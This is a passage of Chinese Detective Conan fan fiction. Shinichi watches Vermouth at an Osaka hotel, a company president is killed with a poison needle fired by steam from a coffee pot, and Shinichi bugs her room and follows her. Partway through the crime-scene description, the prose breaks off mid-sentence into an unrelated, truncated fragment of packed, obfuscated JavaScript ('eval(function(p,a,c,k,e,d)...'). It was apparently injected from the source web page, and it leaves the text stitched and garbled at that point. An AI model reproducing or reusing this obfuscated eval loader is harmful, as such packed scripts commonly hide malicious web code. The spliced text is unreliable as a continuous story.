诸伏英拓想要接过自己养子的动作也就没了落点。他有点疑惑地看了工藤优作一眼,没再说什么:“那好吧,优作君要是累了就让我来抱好了。” “嗯。”工藤优作笑着点头,抱着工藤新一到了稍僻静、但还是能听见莎朗声音的地方来回踱步。 “啊,莎朗最近睡得不好吗?”藤峰有希子摸着自己的脸问。 莎朗微微一笑:“毕竟是已经三十岁的女人了,当然比不上有希子你这样的高中生。” 有希子笑靥如花:“那莎朗可以试试睡前喝一杯热牛奶——虽然没什么科学依据啦。” “有喝的,从去年开始,我就已经多了这个习惯了。”莎朗的眉眼忽然温柔了一瞬,“没有科学依据也好啊,求个心理安慰。至少暖呼呼的感觉很不错。” “就是说呀。”藤峰有希子拿起一旁侍者托盘上的饮料,和莎朗的酒杯碰了一下,玻璃发出清脆的撞击声。 不远处,中居久司社长也和夫人中居美佳碰了一杯酒。 工藤新一尽可能小心地观察着莎朗。幸好,由于这位美国女演员优秀的身材和外貌,这宴会里投向她的目光不少。 刚刚她给有希子酒心糖的时候带出了包里机票票根的一角,工藤新一看得仔细,那确实是一张从华盛顿飞往大阪关西国际机场的机票,如果不晚点,应该会在12点整到达大阪。不过,她应该也不会撒这种这么容易被揭穿的谎。 那也就是说,先前他在点映厅感受到的组织成员就不是贝尔摩德,而是另一个人。 会是谁呢? 32. 鹤唳 工藤优作又往前走了十来步,才轻轻俯身,把怀里的小孩放到地上。 “那个女明星,”优作的声音低而稳,却像落在寂静水面的石子,涟漪一圈圈荡开,“也是你口中‘不是什么好人的人’之一吗?” 风从两人之间穿过去,卷起微微发烫的空气,也卷走新一刹那的呼吸。他垂下眼,睫毛在眼睑投下一弯细碎的阴影,像一排拒绝被打开的栅栏。 “啊?你在说什么呀……”他扯了扯嘴角,声音里带着明显的飘忽,“我只是有点不舒服啦。” 优作凝视着他——那目光并不锋利,却带着成年人特有的耐心与穿透力,如同一盏不声不响的探照灯,缓慢扫过每一寸试图藏匿的角落。 “你……”男人开口,却只吐出一个音节便停住。 “那么,我与内子先行离场了,最近事情实在繁忙,总觉得十分困倦啊。”中居久司社长对村下导演说,“电影拍得很好,我很喜欢。” 村下导演笑着说:“非常感谢您的称赞。没有您的投资,我也做不出这样的作品。那您和夫人就早些歇息吧,有什么需要和这里的酒店服务生说就是了。” 秘书田内直纪点点头:“我知道了。” 中居敦志见状,看了一圈,挠着头:“那我也上去好了。直纪小姐,麻烦你帮我要一份甜品到我房间来好吗?” 田内直纪说:“好的,敦志先生,还是要可可口味的吗?” “要你喜欢的蓝莓味吧,我也想尝一尝。不知道这里有没有啊。”中居敦志笑,“那么,我们就走了。” 秘书小姐有点害羞地低下了头。 藤峰有希子和莎朗·温亚德悄悄看着那几个人,有希子小声说:“看样子,敦志先生和那位秘书小姐很有戏哦。” 莎朗失笑:“你关注那个做什么。” “这不是很有意思嘛。” “那你呢?”莎朗蓝色的眼睛里荡漾着温柔,“那边那位先生一直看着你哦。” 藤峰有希子顺着她的手指看去,工藤优作和工藤新一同时笑着跟她招招手。她脸一红,娇嗔地看了莎朗一眼。 “我说中了?”莎朗调笑,“未来的大明星已经心有所属,不知道要伤了多少人的心。” “莎朗你不也是,克莉斯也已经九岁了吧,什么时候也让我见见她呀。”有希子不甘示弱。 那估计是看不到了,除非给贝尔摩德喂APTX-4869。工藤新一抿抿嘴。不过,这个克莉斯…… 他忽然想起幻听时听过的贝尔摩德的声音。她那么迷茫、痛苦地喊着“克莉斯”——那句话到底是真的、还是贝尔摩德曾经或未来演出来的? 如今宫野夫妇没有加入组织,那么银色子弹和APTX-4869就都不会出现,或者至少不会像上辈子一样、那么快出现。但现在出现了一个新的问题——如果贝尔摩德曾经的容颜不老是因为宫野夫妇的药物,那如今的她就失去了永驻的美貌。而如果她的容貌会老去,那么“莎朗”就不需要化老妆、不需要“克莉斯”来作为她容颜不老的备用身份……但现在“莎朗”的身份背景中仍然有一个女儿“克莉斯”。 难道说现在的贝尔摩德,即便没有宫野夫妇药物的影响,也已经青春永驻了吗? 前世贝尔摩德在他们入侵组织实验室时当场反水,不再像之前一样只是默默给工藤新一的计划和安全带去保障。也幸好有她,否则降谷零根本无法潜入白兰地的办公室;幸好有她,工藤新一才没有被琴酒打落山崖。但她依旧是“讨人厌”的神秘主义者,就算是面对工藤新一,也没有说出她最大的秘密。 在工藤新一陷入回忆的工夫,莎朗·温亚德也告别了宴会厅。“我实在太累了,有希子,想早点休息。”她说,“听说后面还会有魔术表演,祝你们玩的开心。” 于是她也转身,和主办方打了声招呼就径直离开了。 此时还没能家喻户晓的未来女明星孤身进了电梯。莎朗拿出随身的镜子,微垂着头,金色的发丝恰到好处地遮住了眼镜框、落在美人的唇角边。她像是终于厌倦了纸醉金迷的伪装,微微上挑的红唇冷漠地垂下。随后,她掏出一面小镜子,透过镜面的反射不着痕迹地看了看,然后施施然走出了电梯,到达她房间所在的三楼。 一张硬卡片静静地躺在女明星的房门口,上面有一串数字。莎朗走进房间,转身关上门,才捡拾起它,瞄了一眼,随后左手从大衣口袋里拿出个小巧的打火机,任凭火焰把那纸质的卡片烧得只剩下一个角,坠落在角落的垃圾桶里。她从包里拿出一个小巧的监视器,扣在了猫眼上。 “Well,皮斯可,”女人把监视屏幕摆好后,拉开窗帘看了一眼,随后反手拉上,动作流畅地点起一支烟,淡淡的薄荷味散发开。她用肩膀夹着一支手机:“如此迫不及待地想确认我的声音吗?” “我想我们都明白这个任务的意义,贝尔摩德。”电话那头传来一个低沉柔滑的男性声音,微微有些背景的杂音,像是风吹过树林间沙沙作响。对方似乎正在某个灌木丛边或是树荫下,总之,在室外。 “哦,当然。‘那位’的风格,总是如此令人感叹。”贝尔摩德耸了耸肩,“他喜欢人们坦诚相待。所以我们开诚布公吧,‘前辈’。鸦尾是怎么回事?” 皮斯可低低地笑了两声:“开诚布公?” “嗯?” “没什么,girl。”皮斯可坐在树荫下的长椅上,望着街道对面那幢金碧辉煌的酒店。他知道那女人就在那间拉着窗帘的屋子里,他也知道,女人对他的所在心知肚明。 他说:“一个阴沟里耍小聪明的臭虫惹出来的事端,把爱管闲事的猫招来了。你也去过那儿好几次,你知道,有的时候我也觉得,我们应该挑选一些更合适的‘客户’。” 贝尔摩德了然。 “今天这位符合您的标准吗?”她又吸了一口那支薄荷味香烟,烟气从她口中吐出,慢慢逸散在空气中,“精明强干?还是蠢蛋一个?” “蠢人才更难以容忍,贝尔摩德。我会连一句话都不想与之说。” “哦,谢谢你的肯定,你也是。”贝尔摩德挑了挑眉。 皮斯可:“不客气。” “Cheers. 那么,两个小时后,我会准时出现的。”贝尔摩德心下了然,朝着街对面扬了扬手里的烟,嘴角勾起一个满意的弧度。她放下电话,无聊地看着监视屏幕,屏幕里,中居夫人正裹着浴袍第二次从房间走出来。 “哈……”一楼宴会厅,诸伏景光在金碧辉煌的刺眼灯光下打了个哈欠。 “居然已经九点三十分了,”诸伏加奈抬腕看了看手表,“景光困了吗?我们回房间睡觉吧。” 诸伏景光的眼眸已经有一些湿润,但他还是努力睁大眼,像是倔强地要与睡魔抗争:“不是说十点有魔术表演嘛……” 诸伏加奈失笑:“都困成这样还惦记啊。” “嗯。”诸伏景光揉了揉眼睛。 与之相对,工藤新一就比他无聊多了。他从来都不是个喜欢看魔术的人,上辈子又几乎看遍了各种新奇的手法,早就对这类表演失去兴趣。他惦记着贝尔摩德,于是拽拽诸伏加奈:“加奈阿姨,我可以先去休息了吗?新干线坐的好累,而且我的小说还没看完。” 诸伏加奈蹲下来,揉了揉面前两个小豆丁的脑袋:“可以啊,也到了你们睡觉的时间了。景光要不要一起上去?妈妈给你把魔术表演录下来明天早上看好不好?” 诸伏景光扁扁嘴,把自己缩到旁边的高明哥哥身后:“不要。” 心软的哥哥看不下去:“妈妈,让景光看完再睡吧。DVD的影像还是太模糊了。” “那好吧。”诸伏加奈不再勉强,站起身来。她从衣兜里找出了房卡,递给工藤新一:“新一自己上去吗?要不我也回去好了。” 这当然不行!工藤新一紧急组织语言:“不用,我自己上去就好了,阿姨也看看表演嘛。” “我和他一起就是了,先到我屋里待一会,他那本书我那也有。”工藤优作赶紧黏上来。 “……嗯。”工藤新一无语了一下,但还是点点头,一把拉住了工藤优作的手,走向了电梯间。 “那位美国大明星住在305号房间。”电梯里,工藤优作突然说。 工藤新一尴尬地笑了笑,嘴硬道:“谁要知道这个嘛。” “嗯?我以为你是她的粉丝来着。”工藤优作笑着说,“走吧,我帮你去要个签名?” “你……”工藤新一与他对视,随后无奈地点点头。 他就知道。秘密太多的人天生就会吸引他们这类人的注意,太过亲近的人也难以掩埋自己的破绽。工藤优作看来是不达目的誓不罢休了。 那剩下的事,就能瞒一时是一时吧。 一大一小下了电梯,右转,右手边第一间房间就是莎朗的房间。他们都没急着敲门,工藤新一看了看房门的状态,一点闪光映入眼帘——似乎是房门的猫眼处。工藤新一悄悄把眼镜腿上的窃听器握在手心里,准备等莎朗一开门,就塞在她房间门口的地毯下面。 工藤优作低头看看他,抬手示意——我要敲门咯。 没等工藤新一点头,他们身后的楼梯处传来了脚步声。裹着头巾、穿着浴袍的中居夫人从楼上走下来,手里还拿着一条毛巾,看样子像是去顶层的泳池游泳归来。她似乎是有点奇怪地看了二人一眼,在二人面前停了一瞬间,随后走到莎朗旁边的304号房敲门:“田内小姐,在吗?” 304号房是秘书田内直纪的房间,过了不久,她打开房门:“夫人,有什么事吗?” “没什么,我去游泳的时候忘记带房卡了,你那边是不是还有一把?” “有的,夫人,我这就来。” 被她们一搅和,工藤新一他们就只好停下了手里的动作,有点尴尬地看着秘书小姐把卡递给站在莎朗房间对面、301号房间的中居夫人。中居美佳夫人让秘书回去休息,像是才认出他们一样,不太熟练地跟他们打招呼:“这位是电影的原著作者工藤优作先生吧?这是在?” 工藤优作假笑了两声:“我来找村下导演的,刚刚在楼下没找见,听说他住在这间屋子。原来社长和夫人也住在这里吗?” 中居夫人也不急着进屋,虚掩着门,站在门口跟他们交流。她低头笑笑,似乎有些内向:“对。不过,工藤先生,村下导演住在我们屋子右边的302号房,你们要敲的这间305是温亚德小姐的。” “啊,原来如此,真是谢谢您了。”工藤优作摆出一副恍然大悟的样子,“差点就打扰温亚德小姐休息了,谢谢您,夫人。”说着就拉着工藤新一去她说的那间302号房。 “没什么。”中居夫人笑眯眯地站在原地目送他们离开。她回过身进入房间,却在进去的不久发出一声凄厉的惨叫,随后跌坐在地。 客厅的扶手椅上,社长中居久司睁大双眼、仰面躺在那里,他口中流出大量的血液,在前襟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“死者的死亡时间大约在一个半小时到两个小时之前,死因应该是中毒,现场没有发现其他毒药残留,除了这根刺在死者脖颈上的针。”工藤优作看见他们,拍了拍工藤新一,摘下手套和二人握手,“我是工藤优作。” 他们“兄弟二人”已经在刚刚等待警察赶到的半个小时内把现场检查了一次,基本可以判断出死因和现场情况。工藤新一接着说:“我们有戴好鞋套的,也向服务生姐姐要来了手套,中居敦志先生和那两个服务生姐姐一直都在门口看着我们行动,绝对没有破坏现场。” 看起来蛮专业的嘛。远山银司郎心想。 服部平藏并不讨厌“侦探”的存在,也从东京警方那边听说过工藤优作的大名。见状,他点点头,默许了工藤优作的参与,只是仍不放心地问了一句:“小朋友,你家里人呢?” “在楼上,他们知道我在这里,”工藤新一说,“我跟着优作哥哥的。” “嗯,那好吧。”服部平藏说,“目前的嫌疑人都在哪?” “隔壁的空房间,警部。” 一行人走进了被临时当做询问室的空房间里,换好衣服的中居美佳、田内直纪、中居敦志和头发潮湿的莎朗正坐在那里。 “根据我们法医人员的初步检测结果,认为中居社长的死亡时间大概在晚上八点到九点之间,请各位依次说明一下自己在这个时间段都在做什么,有没有证据证明。” 田内直纪仍然在轻声安慰着中居美佳夫人,见状,莎朗·温亚德先开口:“我七点四十多的时候就回了房间休息、卸妆。八点的时候我在浴室洗漱,接着泡了个澡。听到门外的尖叫我才发现出事从浴室出来。就这样。不过,大概没有人可以给我作证。” 工藤新一微微皱起眉——莎朗·温亚德绝不可能是凶手,这一点他几乎可以笃定。那女人出手向来不留余地,狠辣、精准、戏剧化,而眼前的命案却显得仓促而粗糙,完全不像她的署名。然而,莎朗此刻的状态又分明不对劲。 她明显在撒谎,问题是——为什么? 也许是对贝尔摩德那股奇特的“信任”作祟,让他下意识排除了对方的嫌疑;也许是莎朗正披着好莱坞女神的壳子,故意收敛了黑衣组织特有的锋利杀气,连他体内那套“一靠近组织就炸毛”的被动雷达都罕见地安静。总之,他的PTSD没有响,可直觉却在尖叫。 工藤新一往旁边侧了半步,让自己完全隐进工藤优作投下的影子里。隔着半臂的距离,他抬眼,目光像一根细线,牢牢钉在莎朗·温亚德的背影上。 莎朗并没有像她说的那样,泡澡直到听见出事才出来。哪怕她的头发还没有干、脸上的妆卸的彻底。 人体皮肤表面失去活性的角蛋白很容易吸水膨胀,这就会在皮肤表面形成褶皱,手部是重灾区,因此泡澡一小时一定会在手心、指尖形成明显的、泛白的褶皱。但泡澡一个小时再加上脱离水环境半小时,手指的水分会慢慢蒸发,褶皱会慢慢消退,手指通常会保持在一个比平时略富水、皮肤表面轻微褶皱泛白的状态。 但莎朗那双手,却褶皱得有些浅。 如果抛开这位嫌疑人的身份,那么这个疑点就很有可能对案件的推理有很大帮助,如果工藤新一以一个平常的心态去看待她,他也会把这个细节联系到案件之中。但他对贝尔摩德实在太熟悉了,这件事情从头到尾,不论是死者、作案的地点、时间,都完全不是这个女人做事的风格——如果是她做的,她会悄无声息地全身而退,死者被发现时她早已逃之夭夭;如果不是她做的,她就会在案发现场积极配合,十分爱惜自己假身份的羽毛。 那么她为什么要伪造一份不在场证明呢?案发时间里,她在做什么?恐怕这件事不能对人言、经不起调查——很可能是以“贝尔摩德”的身份做的。 莎朗似有所觉,转头看着这个粉雕玉琢的小男孩,笑了。工藤新一敏锐地察觉到她的视线,抬头时,她却又移开了目光。 33. 道听 “……我先生说他要休息,我就一个人出来打算去楼上的游泳池游泳。”工藤新一把注意力从莎朗身上移开,听见中居夫人啜泣着说,“大概一个多小时吧,我从楼上下来,发现没带门卡,就敲了田内秘书的门,让她帮我开一下门。然后……然后就看见我先生他——” “女士节哀。”远山银司郎让一旁的女警上前安抚。 中居美佳穿着一身不大合身的连衣裙,裙子有点小,显得有些紧绷,应该是别人的衣服。她的袖子因此遮不住手掌,露出些许红肿泛白的痕迹。 “您的手怎么了?是烫伤了吗?”女警轻声细语地问。 中居美佳缩了缩手指,声音有些心虚:“不小心烫到了。” “田内小姐呢?”工藤优作问。 “社长回来后就和夫人一起呆在房间里,我给他煮了咖啡之后就离开了,之后一直在自己房间里没出去过。然后,然后大概八点,我接到了社长的短信,要我去汇报最近的工作进展,我就说,我整理一下就去。”田内直纪说,“但进去之后社长睡着了,我就把文件放下,回房间了。再出来就是夫人没带房卡敲我的门——这里那位工藤先生可以证明。” 服部平藏看向工藤优作,工藤优作点点头。 “您的移动电话可以给我们看一下吗?” “当然可以。”田内直纪从包里拿出手机,递给远山银司郎。片刻,远山银司郎点点头:“八点零五的短信,和死者的移动电话对得上。后面的证词也和中居美佳女士、工藤优作先生对得上。” 中居敦志的动线则再简单不过——他离开宴会后仍觉不过瘾,自顾自找服务生要了瓶红酒在屋里边看球赛边喝酒,八点十分左右又有另一位服务生给他送了蛋糕,直到出事,他没离开过房间半步。目前根据两名服务生的证词,他的话没什么问题。 “那我们再去查一下各位的房间吧。”服部平藏拍板,和远山银司郎对视一眼。他们两个合作日久,远山银司郎知道他是什么意思,默默盯紧了其中一个人。 哪怕没有证据,目前也没什么漏洞,但多年办案,经验与意识已经犹如另一种嗅觉,能闻出某种不一样的味道。 一行人鱼贯而出,工藤优作一把把工藤新一抱了起来。 工藤新一刚刚一言不发,琢磨莎朗今日到底是来做什么的,猝不及防被人捞起来,第一反应就是要跑。工藤优作一手把他抓回来:“跑什么?” “嘿嘿……”工藤新一摸摸鼻子,拧了拧,趴在他肩头,“怎么了?” 这是个绝佳的说悄悄话的机会。工藤优作正是此意:“你怎么一直盯着那个女明星?有什么问题?” 而且,他现在和莎朗离得那么近,怎么又不害怕那女人了? “没什么,觉得她……有点眼熟。”工藤新一真想把相关记忆给他老爸删除了,不要老揪着黑衣组织的事问他,“你觉得谁是凶手?” “跟你想的是一个人。”工藤优作说,“作案手法和证据还没找到,我估计,一旦找到了,就可以确定是那个人了。” 从临时讯问室到社长夫妇的301号房间并没有多远,到了门口,工藤优作把他放下来。 社长的尸体已经被鉴识人员搬走了,茶几边的扶手沙发上用白线勾勒出了死者的身形。茶几上有几打文件和一个老式的咖啡壶,壶口朝着沙发,里面的咖啡已经凉下来了,桌面上还有几滴干涸的咖啡渍。茶几一旁的地面上,还倒着一只沉重的水晶相框。 相框里放着社长夫妇的照片,蓝天白云,两人穿着运动装,笑着看向照相者。照片角落写着:“赠我的好友,愿她一生无忧。” 工藤新一在茶几边转来转去,看向田内直纪,问她:“田内姐姐,社长不是累了要休息吗?怎么还要咖啡?” 田内直纪低下头:“社长明天有一场重要的会议,就说自己先小睡一会,再起来工作一段时间。为了清醒,才叫我煮一壶咖啡——这也算是社长的老习惯了。” “哦。”工藤新一点点头,又转向中居美佳:“中居夫人,你进来时,咖啡壶的火是关着的吗?” 中居美佳眨眨眼,摆摆手:“我……我不记得了。” “田内小姐呢?” “我也不大清楚。太可怕了……” 中居敦志双眼赤红,担忧地看了她一眼。 “那敦志先生有在隔壁听到什么异常吗?”工藤优作问。 中居敦志回过神,叹了口气:“没有。我看球赛看得入迷,连服务生小姐给我送蓝莓蛋糕的敲门声都险些没听到。如果……可能大哥也不会……” 屋里一时没了声响。工藤新一和工藤优作蹲在茶几边,看着那只咖啡壶的壶嘴和桌面的喷溅咖啡污渍。咖啡壶的壶嘴处有一点点木屑,地上那个水晶相框的表面有几处水痕。 “我们进来的时候,壶已经是关着的了。”工藤新一说。 “嗯。”工藤优作明白他的意思,“找证据吧。” 屋里的陈设基本还是酒店的初始状态,行李箱都打开着,但里面的衣物用品都还没来得及收拾好,门口的换鞋凳处掉着一张房卡,是中居美佳去游泳时不小心掉落的,所以才没有带房卡出门。 “中居夫人这身衣服……是酒店提供的?”服部平藏也回过味了,“在哪换的?” “楼上一位热心单身女性的房间里,这部电影的女主角。因为她完全没有嫌疑,所以就让中居夫人去她那里了。换的时候,我们的女警跟着,换下来的衣服也收着,没有其它异常。”远山银司郎回答,“你的意思是……” 服部平藏似笑非笑,摆摆手,跟远山银司郎轻声交代了什么,然后恢复正常音量:“搜查302吧。总得都查一次。” 一定要都查一次。工藤新一一言不发地跟着警官们。作案手法、关键证据、还有凶手,他都已经胸有成竹了。只是不能现在就说——证据和凶手都跑不了,莎朗的房间却不是那么好进的。天时地利人和,合该今日去探一探。 莎朗的房间也几乎是个样板间,浴室还弥漫着些许沐浴露的香味和雾气。工藤新一钻进去,以无与伦比的行动力开始了地毯式的搜查。 浴缸里还有水滴,化妆镜也有雾气消散后的水印痕,垃圾桶里是用过的浴盐包装和化妆棉。莎朗毫无疑问确实沐浴过,但时间是假。 工藤新一拿起那几张化妆棉,轻轻闻了闻,又跑到化妆台前,拿着莎朗的卸妆油闻了闻。 莎朗看他跑来跑去,觉得好玩:“小弟弟,你在闻什么?” 她善后工作做得几乎天衣无缝,无所谓小孩子乱翻。 “这是什么啊?”被抓包了,工藤新一也不怵,马上一副天真的样子昂起头。 “卸妆油,女孩子们和演员们用的。”莎朗蹲下来笑着看他。她的头发已经干了,闪着金色的光泽。 “哦。”工藤新一若有所思地点点头。 化妆棉上面有卸妆油和卸掉的粉底液、彩妆不假,但估计不是真正“卸”掉的,更像是伪造了几个卸妆用品用来佐证她“泡了一个多小时澡”的不在场证明。 “诶,这是什么啊?”工藤新一到处翻翻找找,倒真让他找到一把可疑的小刀。 “美工刀吗?”工藤优作接过来,把刀尖划出来。那把刀质感敦实,刀刃不像普通的美工刀是可折断替换的,而是黑沉的一整片,泛着冷光。 莎朗依然面不改色:“防身用的小刀,毕竟大小是个公众人物,还是女性,防身并不少见。这把刀鉴定过的,不算管制刀具。”她转向几位警察。 “这刀确实是太小了。”远山银司郎说。 工藤新一把工藤优作拉下来,仔细看了看刀片的卡槽位置。一抹淡淡的锈红出现在那深深的凹槽处。 血。新的。但不可能是中居社长的。 她确实在这期间做了不可告人的事情,大概率,是灭口。 工藤新一沉默片刻,在没人关注的时候,从口袋里把眼镜拿出来,把窃听器摘下,拿创口贴缠了缠,扔进了莎朗房间里的垃圾桶里。 会回来的,我的窃听器。工藤新一沉痛地想。就是可能需要在明天早上、趁保洁人员清理卫生时,翻一遍垃圾桶。 一行人走出房间,站在灯火通明的走廊里。服部平藏看向工藤优作:“工藤先生,你先上去?” “不了,新一就够了。鄙人是个小说家,更喜欢在案发现场的一旁观摩。”工藤优作说道。 “我可以的。”工藤新一说。 几位嫌疑人都不明所以,莎朗·温亚德轻笑,看着工藤新一哒哒哒地通过电梯对面的楼梯跑上了楼。 “那好。”服部平藏咳了一声,“我们先来分析一下这件案子吧。远山。” 远山银司郎拿出手册:“晚上七点半,你们四位从会场离开,温亚德女士随后。七点五十左右,服务生给中居敦志先生送酒;八点,中居美佳女士离开房间去泳池;八点零五,社长的手机向田内直纪小姐发送短讯;八点半,另一位服务生为中居敦志先生送蛋糕;九点半,中居美佳女士回来,因忘记带钥匙叫了田内小姐开门,期间与工藤优作先生和新一小朋友相遇,开门后,发现中居社长死亡。中居久司社长的死亡时间确定为七点四十至八点半之间。” “我们的鉴识人员通过检验发现,中居社长的死因为中毒,凶器是扎在他脖颈处的一根毒针,针的表面没有查出指纹,咖啡里也并没有检测出毒素。接下来,我们来还原一下犯罪手法吧。请各位移步401。” 401号房间与案发现场的301号房间陈设一模一样。死者坐的沙发椅上放了一个大抱枕,茶几上同样放着老式的咖啡壶和水晶相框——当然,并不是案发现场那一套。 “犯罪手法其实相当简单,一个世纪以前就可以实施。”工藤优作开口,“只需要借助一个小工具。” 工藤新一从沙发后钻出来,手里拿着一个软木塞,软木塞上扎着一根银针。 “只要把软塞塞进咖啡壶的壶嘴,然后把咖啡壶里灌满水,再盖上壶盖,拿水晶相框压上去。”他边说边做,“之后打开加热的开关。” 中居敦志不明所以:“这是……这是在做什么?” 没有人回答他,屋里静悄悄的,只听得咖啡壶“呼呼”加热的声音和逐渐清晰的水泡声。 工藤新一站在一旁等着水开,见状继续说:“这种老式的咖啡壶是没有自动断电功能的,一旦烧开,就会一直沸腾,源源不断地产生蒸汽——而我们现在把它的出气孔全都堵住了,壶盖也被水晶相框压实。那么这些蒸汽就会从唯一一个还算轻松的出口突破——” 堵在壶嘴处的软木塞“噗”地飞出来,扎进了沙发上的抱枕里。对比一下位置,恰好是中居久司社长的脖颈处附近。 “然后,凶手就把软木塞摘掉,藏起来。再把咖啡壶盖上的水晶相框碰掉。”工藤优作把小孩推到一边,自己戴着手套进行操作。 服部平藏接着说:“所以,茶几上会有飞溅出来的咖啡液,地上的水晶相框上也有水痕。”他举起证物袋里的水晶相框。 “因此,凶手完全可以在不在场时杀害中居社长。” 工藤优作站起来,看着中居美佳:“夫人,你就是凶手。” 中居美佳第一反应就是反驳:“我……我离开的时候,我丈夫还醒着啊,他之后还给田内发短讯不是?如果按你们说的这个手法,不可能在他醒着的时候完成吧?” “短讯只是从他手机上发的而已,不能证明是社长本人发的。”工藤优作说,“中居夫人,您说您出门时忘了带房卡,是不是?” “对。您不是也知道吗?”中居美佳说。 “那么,为什么酒店的系统里显示,属于你的那张房卡在八点到八点零五之间刷开了一次房门呢?” ? 莎朗微笑。 因为她忘记了,忘记要把卡“落在”屋子里。只好回去放下,以便制造不在场证明,栽赃田内直纪。 她在自己放在猫眼处的监视器画面里看得一清二楚。 “我,我忘了拿浴巾,回去取,之后才忘拿了。与其编排我,难道不是田内的嫌疑更大吗?”中居夫人说。 “好,那就按照你说的。”服部平藏非常爽快,“那么,您能不能让我们的女警搜一下身呢?那个摘下来的软木塞就在你身上吧,夫人。” 真相像被拔出的软木塞,带着一声轻响,干脆利落地落进证物袋。 随行女警只是抬手一掏,便从中居夫人藏青色的和服袖兜里 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空气被这句话割出一道口子,夜色便顺着裂缝灌进来。 莎朗·温亚德率先拢了拢披肩,像把舞台幕布重新拉好,轻声问:“那么,我们现在可以回去休息了吗?” 远山银司郎看了眼腕表——指针已过午夜。 “今天就到这里。”他收起笔录本,目光扫过众人,“温亚德女士,以及诸位,明早还请移步大阪府警署补做笔录;若诸位有行程,恐怕要稍作推迟。” “Okay.” 莎朗颔首,笑意像一层薄纱覆在脸上,既温柔又疏离。她抬手挽了挽垂落的发丝,朝工藤新一投去似笑非笑的一瞥——那眼神像在谢幕,又像在预告下一场演出。 工藤新一不明所以,瞄着她,一直目送她进门,才小猫似的勾勾工藤优作的衣角:“优作哥,我有点饿了。” 工藤优作忙蹲下来:“想吃什么?这个时间酒店应该已经不供应鲜食了,要不要吃块蛋糕?” “我们出去吃嘛。”工藤新一嘴上撒娇耍赖,手上也小动作不断,眼睛却满是锐利地瞟了一眼莎朗的房门。 这小鬼。工藤优作抿嘴,无奈地笑了一下:“好,‘出去’吃。” 摊牌了就是不一样,真是拿你老爸当挡箭牌使唤啊,新一。 没等他顺利溜走,服部平藏高大的影子从走廊尽头压过来,像一堵突然升起的墙,把工藤新一的去路堵得严严实实。 “你很有天赋,孩子。”关西腔低沉而温和,带着刑警特有的笃定,“将来不妨考虑读警校,做个真正的警察。” “嘿嘿……”工藤新一条件反射地挠了挠后脑勺,额前的碎发被他自己揉得乱糟糟。他微微低头,让刘海遮住那双过于机敏的眼睛,“我只是个小学生啦,误打误撞喜欢玩侦探游戏。” 在长辈面前,再锋利的刀也得收鞘。那种“被好友父亲注视”的微妙局促,像细砂纸一样磨着他的神经。 远山银司郎比他上司随和得多,弯下腰,拍了拍他的肩膀:“你已经是一名侦探了,小弟弟。明天记得跟家长一起来警局补笔录——请你喝波子汽水。只是可怜我们警部,新婚燕尔还得熬夜。” ……新婚? 工藤新一猛地抬头,视线穿过远山银司郎的笑脸,落在服部平藏耳根那抹可疑的暗红上。电光石火之间,他忽然意识到——那个将来会和自己斗嘴、踢球、一起闯祸的关西黑皮,此刻可能连颗受精卵都不是。 世界线的荒谬感像汽水里的气泡,噼里啪啦炸开,他几乎要笑出声。 …… 拿工藤优作当借口跟诸伏夫妇打过招呼,工藤新一就跑去了走廊静候——“出去吃饭”当然只是个幌子,工藤优作也已经被他搪塞回了房间,好不容易塞的窃听器还在莎朗房间的垃圾桶里——机不可失,失不再来。 耳机塞进耳廓的瞬间,电流沙沙作响,像有人在黑暗里替他调频。 先是“哗——”的水声,绵长而规律,仿佛贝尔摩德正俯身在水池前,慢条斯理地冲洗什么粘稠的东西。水珠砸在陶瓷盆上,清脆、冰冷,一缕一缕滑进下水道。 紧接着,电话铃突兀地刺破寂静,“叮铃铃——” 她却并不急着接。任凭铃声在空荡的浴室里回荡了三秒、四秒……第五秒时,水声停了。 “……是我。”慵懒的英文带着一点沙哑,像夜色里刚点燃的薄荷烟。 工藤新一不自觉地屏住呼吸,把耳机又往耳道里压了压。 “嗯,解决了。” “时间还算充裕,怎么,让我去看看那‘粮仓’的样子?” “好吧。See you later, Pisco.” 再一阵脚步声,贝尔摩德离开了浴室,隐约有清脆的上膛声传来。 三楼楼梯拐角,少年把自己折成一道薄影,脊背紧贴着墙。电梯门合拢的“叮”声刚落,他便像猫一样掠下楼梯,一步三级,落地无声。大理石地面映出他极轻的倒影,仿佛连尘埃都屏住了呼吸。 ——皮斯可的情报太少,而贝尔摩德身上的秘密太大;这趟跟踪,值得赌上今晚的睡眠。 工藤新一下意识碰了碰胸口的小药盒,冰凉的金属贴着锁骨,像一枚随时会发烫的筹码。 酒店大堂的吊灯已调到最暗,只剩几盏壁灯在丝绒般的黑暗里浮出琥珀色的光晕,刚刚经历了一场风波的酒店此时万籁俱寂。命案也不过只是一件有些特殊的意外罢了,在众多人漫长的一生中,甚至比不过今晚的一夜安眠。少年蜷进休息区的单人沙发,透过棕榈盆栽的缝隙,看贝尔摩德的高跟鞋踏碎大理石的光。 旋转门自动开合,夜风灌进来,卷起她风衣的下摆——像一面漆黑的旗。 就是现在。 他刚探身,后衣领骤然一紧,兜帽被人从后面轻轻拎住。 “新ちゃん?” 温柔而疑惑的声音,带着刚洗完澡的暖香,像一捧温水浇在冰面上。 世界瞬间从谍战片切换成家庭伦理剧。 工藤新一慢慢回头,看见有希子半湿的头发披在肩头:“你不是和优作出去吃饭了?” 糟糕。 34. 途说 工藤新一僵硬地看着不知为何突然出现在门口的藤峰有希子,湛蓝的眼睛还不住地往门口望:“啊咧,优作哥……优作哥说他有点胃痛,我给他拿了点药。”他急中生智,把胸口坠着的APTX-4869掏出来晃了晃,把它伪装成了止痛药。 藤峰有希子狐疑地眯了眯眼,蹲下来凑近男孩,把药盒打开看了看,见确实是两枚药丸,也没再细究,只是觉得两枚“止痛药”一红一蓝有些奇怪,转而拍拍他的肩膀:“他在哪里?我跟你一起去吧,走。” 可不能一起去啊! 新一在心里尖叫。 人在尴尬的时候总是很忙,更别提工藤新一心里还心心念念着一个贝尔摩德。他手忙脚乱地拿出手机,做作地点了半天,然后一脸无辜地看着有希子:“啊,那个……优作哥哥说他已经回房间去了,我就不去了,有希子姐姐去吧,也许还能一起聊聊天。” 有希子抿着的嘴唇微微撅起,手臂抱在胸前,是个再明显不过的怀疑姿态。工藤新一额角的汗水都快要滴下来了,眼看着贝尔摩德就要消失在街角,他无法,理会不得有希子的质疑,干笑了两声就跑开了。 “我的外套好像落在外面了,我去找一找,有希子姐姐快去找优作哥吧!”说完就一溜烟消失在了街对面。 